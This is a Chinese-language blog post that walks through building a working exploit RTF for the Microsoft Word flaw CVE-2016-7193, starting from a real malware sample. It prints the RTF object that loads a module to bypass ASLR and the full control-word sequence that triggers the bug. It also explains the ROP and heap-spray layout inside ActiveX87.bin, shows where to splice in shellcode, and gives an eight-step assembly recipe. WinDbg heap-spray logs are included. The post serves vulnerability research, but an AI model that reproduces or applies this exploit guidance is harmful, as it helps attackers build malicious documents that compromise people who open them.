这篇文章是我在构造完cve-2015-1641 exp的基础上写的,但cve-2015-1641的分析文章比较多,所以这里先发cve-2016-7193的exp构造思路,1641的exp构造有空再补充。
基于样本:
MD5:996054b4ebf1a81661b6b450113257a2
本次构造需要注意以下几点:
1.cve-2016-7193的样本构造方式与cve-2015-1641的构造方式几乎如出一辙:都是bypass_aslr的模块加载+堆喷射docx+漏洞触发控制字部分
2.由于样本带混淆,所以一开始用rtfobj.py抓取的文档无法有效识别为docx,需要先手动去混淆后再用rtfobj.py提取,即可成功获取堆喷射的docx
3.这个样本的精华在于它的rop布局,构造该样本的 activex.bin 的困难程度要大于 cve-2015-1641,这个样本要求在activex.bin内精确布控字节,否则漏洞成功利用时无法跳转到所期望的地址,导致exp失败
构造 bypass_aslr简单,和cve-2015-1641一样即可:
{\object\objocx{\*\objdata 0105000002000000160000006f746b6c6f6164722e5752417373656d626c792e3100000000000000000001000000410105000000000000}}
触发漏洞也简单,直接挪过来漏洞触发控制字部分即可:
{\rtlch\af0\ltrch\lang1024\langfe1024\noproof\langfenp1033\insrsid13326898{\shp{\dfrxst9\dfrxst192\dfrxst12\dfrxst12\dfrxst12\dfrxst192\dfrxst9\dfrxst12\dfrxst12\dfrxst192\dfrxst9\dfrxst12\dfrxst13\dfrxst192\dfrxst9\dfrxst12\dfrxst12\dfrxst9\dfrxst192\dfrxst11\dfrxst24\dfrxst32\dfrxst23\dfrxst21\dfrxst12\dfrxst12\dfrxst192\dfrxst9\dfrxst192\dfrxst9\dfrxst12\dfrxst32\dfrxst35\dfrxst12\dfrxst12\dfrxst192\dfrxst9\dfrxst41\dfrxst42\dfrxst12\dfrxst12\dfrxst192\dfrxst9\dfrxst12\dfrxst12\dfrxst12\dfrxst192\dfrxst9\dfrxst12\dfrxst192\dfrxst192\dfrxst192\dfrxst192\dfrxst236\dfrxst12\dfrxst59\dfrxst60\dfrxst61\dfrxst62\dfrxst63\dfrxst64\dfrxst65\dfrxst66\dfrxst67\dfrxst68\dfrxst69\dfrxst70\dfrxst71\dfrxst72\dfrxst73\dfrxst74\dfrxst75\dfrxst76\dfrxst77\dfrxst78\dfrxst79\dfrxst80\dfrxst81\dfrxst82\dfrxst83\dfrxst84\dfrxst85\dfrxst86\dfrxst87\dfrxst88\dfrxst89\dfrxst90\dfrxst91\dfrxst92\dfrxst93\dfrxst94\dfrxst95\dfrxst96\dfrxst97\dfrxst98\dfrxst99\dfrxst100}{\*\shpinst\shpleft0\shptop179\shpright1440\shpbottom719\shpfhdr0\shpbxcolumn\shpbxignore\shpbypara\shpbyignore\shpwr3\shpwrk1\shpfblwtxt0\shpz0\shplid1026}} }
难点在于构造能布控内存弹出计算器的堆喷射样本,下面进行构造。
原始rtf样本里面涉及到Word.Document.12控制字的有两处,但其实第一处无实际价值,第二处经验证为堆喷射所需的docx
下面开始提取第二个Word.Document.12, rtfobj.py初始提取失败,检查后发现是因为有混淆:
把红框处的内容删除后即可,删除其余冗余部分,只保留堆喷射部分,再次提取如下:
E:\oletools-master\oletools>python rtfobj.py heap_only.txt -s all
rtfobj 0.51 - http://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
===============================================================================
File: 'heap_only.txt' - size: 100573 bytes
---+----------+-------------------------------+-------------------------------
id |index |OLE Object |OLE Package
---+----------+-------------------------------+-------------------------------
0 |00000062h |format_id: 2 (Embedded) |Not an OLE Package
| |class name: 'Word.Document.12' |
| |data size: 50176 |
---+----------+-------------------------------+-------------------------------
Saving file embedded in OLE object #0:
format_id = 2
class name = 'Word.Document.12'
data size = 50176
saving to file heap_only.txt_object_00000062.doc
这次就可以了,解压后的文件内容如下:
│ [Content_Types].xml
│
├─docProps
│ app.xml
│ core.xml
│
├─word
│ │ barbara.xml
│ │ document.xml
│ │ settings.xml
│ │ styles.xml
│ │ webSettings.xml
│ │
│ ├─activeX
│ │ │ activeX1.xml
│ │ │ ActiveX87.bin <-- 用于堆喷射的activeX控件
│ │ │ ...
│ │ │
│ │ └─_rels
│ │ activeX1.xml.rels
│ │ ...
│ │
│ ├─media
│ │ image1.wmf
│ │
│ ├─theme
│ │ theme1.xml
│ │
│ └─_rels
│ document.xml.rels
│
└─_rels
.rels
精华部分是上面这个ActiveX87.bin文件 。
定位到rop部分,可以看到原始样本用了512个pattern来进行内存布控,除了第一个外后面511个pattern完全一样:
看一下该 ActiveX87.bin 的布局:
我们的目的是替换里面的内容,使之弹出一个计算器。
调试的文件版本:
0:000> lmvm wwlib
start end module name
67170000 6821c000 wwlib (export symbols) C:\Program Files\Microsoft Office\Office12\wwlib.dll
Loaded symbol image file: C:\Program Files\Microsoft Office\Office12\wwlib.dll
Image path: C:\Program Files\Microsoft Office\Office12\wwlib.dll
Image name: wwlib.dll
Timestamp: Sat Oct 28 06:19:39 2006 (454285FB)
CheckSum: 010ADA22
ImageSize: 010AC000
File version: 12.0.4518.1014
Product version: 12.0.4518.0
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0000.04e4
CompanyName: Microsoft Corporation
ProductName: 2007 Microsoft Office system
InternalName: WinWord
OriginalFilename: wwlib.dll
ProductVersion: 12.0.4518.1014
FileVersion: 12.0.4518.1014
FileDescription: Microsoft Office Word
LegalCopyright: © 2006 Microsoft Corporation. All rights reserved.
调试发现:
留给我们自己的shellcode的空间比cve-2015-1641小多了(如果读者调过1641的话),所以我们采用严格遵从原始文档字节分布构造,只替换红框和蓝框圈出的9B9B9B...开始的shellcode部分,这部分的大小为 346字节,如下:
这里要说明的一点是原作者为精确控制堆喷射内存大小为1fffc0,最后一个pattern和前面510个及第一个略有不同,最后一个pattern缺少10个字节,目的是为了按32对齐:
接下来就是写一个脚本构造我们自己的堆喷射文件。
构造exp, 方法如下:
1. 用一个Python脚本修改原有的axtiveX87.bin文件,构造所需要的rop-gadgets和弹计算器的shellcode
2. 利用Python脚本,并利用生成的axtiveX87.bin文件生成堆喷射docx文档
3. 用压缩软件打开生成的堆喷射docx文件,将里面的activeX87.bin手动删除,再手动放入,目的是为了减小文档体积(可以显著减小体积)
4. 新建一个空白rtf文档,将3中生成的堆喷射docx手动拖入文档内,保存
5. 用notepad++打开4中生成的rtf文档,提取出{\object...}闭合的部分
6. 将bypass-aslr所需用到的内容拷贝到新的rtf文档中
7. 从原文档中提取出漏洞触发的部分,和5中类似
8. 新建一个文本文档,按堆喷射在前、加载bypass aslr模块在中,漏洞触发在后的顺序构造exp文件,保存成一个rtf文档
安全起见,脚本略,有能力的同学请自己写。
弹出计算器(shellcode没有扫尾,所以崩溃是正常的...):
附上堆喷调试日志:
0:000> !heap -stat -h 002c0000
heap @ 002c0000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
1fffc0 2a - 53ff580 (98.36)
40010 2 - 80020 (0.59)
11800 1 - 11800 (0.08)
f5b4 1 - f5b4 (0.07)
aca8 1 - aca8 (0.05)
20 4b7 - 96e0 (0.04)
4000 2 - 8000 (0.04)
7e40 1 - 7e40 (0.04)
204 36 - 6cd8 (0.03)
6c1c 1 - 6c1c (0.03)
676c 1 - 676c (0.03)
673c 1 - 673c (0.03)
460 17 - 64a0 (0.03)
30 20a - 61e0 (0.03)
5758 1 - 5758 (0.02)
1034 5 - 5104 (0.02)
1000 5 - 5000 (0.02)
4bf8 1 - 4bf8 (0.02)
74 91 - 41b4 (0.02)
3980 1 - 3980 (0.02)
0:000> !heap -flt s 1fffc0
_HEAP @ 2c0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
078e0018 3fff8 0000 [00] 078e0020 1fffc0 - (busy VirtualAlloc)
07c90018 3fff8 fff8 [00] 07c90020 1fffc0 - (busy VirtualAlloc)
07e90018 3fff8 fff8 [00] 07e90020 1fffc0 - (busy VirtualAlloc)
08090018 3fff8 fff8 [00] 08090020 1fffc0 - (busy VirtualAlloc)
08290018 3fff8 fff8 [00] 08290020 1fffc0 - (busy VirtualAlloc)
08490018 3fff8 fff8 [00] 08490020 1fffc0 - (busy VirtualAlloc)
08690018 3fff8 fff8 [00] 08690020 1fffc0 - (busy VirtualAlloc)
08890018 3fff8 fff8 [00] 08890020 1fffc0 - (busy VirtualAlloc)
08a90018 3fff8 fff8 [00] 08a90020 1fffc0 - (busy VirtualAlloc)
09090018 3fff8 fff8 [00] 09090020 1fffc0 - (busy VirtualAlloc)
09290018 3fff8 fff8 [00] 09290020 1fffc0 - (busy VirtualAlloc)
09490018 3fff8 fff8 [00] 09490020 1fffc0 - (busy VirtualAlloc)
09690018 3fff8 fff8 [00] 09690020 1fffc0 - (busy VirtualAlloc)
09890018 3fff8 fff8 [00] 09890020 1fffc0 - (busy VirtualAlloc)
09a90018 3fff8 fff8 [00] 09a90020 1fffc0 - (busy VirtualAlloc)
09c90018 3fff8 fff8 [00] 09c90020 1fffc0 - (busy VirtualAlloc)
09e90018 3fff8 fff8 [00] 09e90020 1fffc0 - (busy VirtualAlloc)
0a090018 3fff8 fff8 [00] 0a090020 1fffc0 - (busy VirtualAlloc)
0a290018 3fff8 fff8 [00] 0a290020 1fffc0 - (busy VirtualAlloc)
0a490018 3fff8 fff8 [00] 0a490020 1fffc0 - (busy VirtualAlloc)
0a690018 3fff8 fff8 [00] 0a690020 1fffc0 - (busy VirtualAlloc)
0a890018 3fff8 fff8 [00] 0a890020 1fffc0 - (busy VirtualAlloc)
0aa90018 3fff8 fff8 [00] 0aa90020 1fffc0 - (busy VirtualAlloc)
0ac90018 3fff8 fff8 [00] 0ac90020 1fffc0 - (busy VirtualAlloc)
0ae90018 3fff8 fff8 [00] 0ae90020 1fffc0 - (busy VirtualAlloc)
0b090018 3fff8 fff8 [00] 0b090020 1fffc0 - (busy VirtualAlloc)
0b290018 3fff8 fff8 [00] 0b290020 1fffc0 - (busy VirtualAlloc)
0b490018 3fff8 fff8 [00] 0b490020 1fffc0 - (busy VirtualAlloc)
0b690018 3fff8 fff8 [00] 0b690020 1fffc0 - (busy VirtualAlloc)
0b890018 3fff8 fff8 [00] 0b890020 1fffc0 - (busy VirtualAlloc)
0ba90018 3fff8 fff8 [00] 0ba90020 1fffc0 - (busy VirtualAlloc)
0bc90018 3fff8 fff8 [00] 0bc90020 1fffc0 - (busy VirtualAlloc)
0be90018 3fff8 fff8 [00] 0be90020 1fffc0 - (busy VirtualAlloc)
0c090018 3fff8 fff8 [00] 0c090020 1fffc0 - (busy VirtualAlloc)
0c290018 3fff8 fff8 [00] 0c290020 1fffc0 - (busy VirtualAlloc)
0c490018 3fff8 fff8 [00] 0c490020 1fffc0 - (busy VirtualAlloc)
0c690018 3fff8 fff8 [00] 0c690020 1fffc0 - (busy VirtualAlloc)
0c890018 3fff8 fff8 [00] 0c890020 1fffc0 - (busy VirtualAlloc)
0ca90018 3fff8 fff8 [00] 0ca90020 1fffc0 - (busy VirtualAlloc)
0cc90018 3fff8 fff8 [00] 0cc90020 1fffc0 - (busy VirtualAlloc)
0ce90018 3fff8 fff8 [00] 0ce90020 1fffc0 - (busy VirtualAlloc)
0d090018 3fff8 fff8 [00] 0d090020 1fffc0 - (busy VirtualAlloc) // 40次堆喷射
本文仅供学习交流,请勿用作非法用途。
参考链接:
《APT 攻击利器-Word 漏洞 CVE-2016-7193 原理揭秘》https://paper.seebug.org/288/
《CVE-2015-1641 Word 利用样本分析》https://paper.seebug.org/351/
《Word类型混淆漏洞原理分析(CVE-2015-1641)》http://www.freebuf.com/vuls/92962.html
《手把手教你如何构造office漏洞EXP(第四期)》http://bobao.360.cn/learning/detail/3246.html
《Spraying the heap in seconds using ActiveX controls in Microsoft Office》https://www.greyhathacker.net/?p=911
《Attacking Interoperability》https://www.blackhat.com/docs/us-15/materials/us-15-Li-Attacking-Interoperability-An-OLE-Edition.pdf
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界